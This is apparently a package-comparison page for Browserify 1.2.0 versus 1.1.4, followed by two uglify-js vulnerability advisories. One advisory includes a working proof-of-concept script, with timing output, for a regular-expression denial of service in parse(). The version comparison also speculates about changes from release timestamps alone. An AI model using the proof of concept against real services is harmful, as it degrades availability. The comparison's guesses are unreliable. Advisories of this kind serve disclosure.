Browserify 1.2.0 represents a minor version bump over its predecessor, version 1.1.4, both maintaining the core functionality of enabling require() statements to function within browser environments for JavaScript directories and npm modules. Examining the package metadata, the primary difference between the two versions is their release date. Version 1.2.0 was published on June 22, 2011, at 11:43:12.205Z, while version 1.1.4 saw its release earlier that same day at 03:24:10.178Z. This suggests that version 1.2.0 likely incorporates minor bug fixes or potentially very incremental improvements over 1.1.4 released just hours before, without any significant feature additions or API changes.
For developers, this indicates a high degree of stability between these two specific versions. Both rely on the same dependencies, including resolve, detective, and coffee-script for core functionality, and share identical development dependencies like seq, jade, and dnode used for testing and building. Consequently, upgrading from 1.1.4 to 1.2.0 should be a straightforward process with minimal risk of introducing breaking changes. The consistent dependency definitions assure that the build and development environment remain unchanged, allowing developers to focus on leveraging Browserify for browser-side module management with confidence. Developers can view this update as a refinement rather than a major overhaul.
All the vulnerabilities related to the version 1.2.0 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.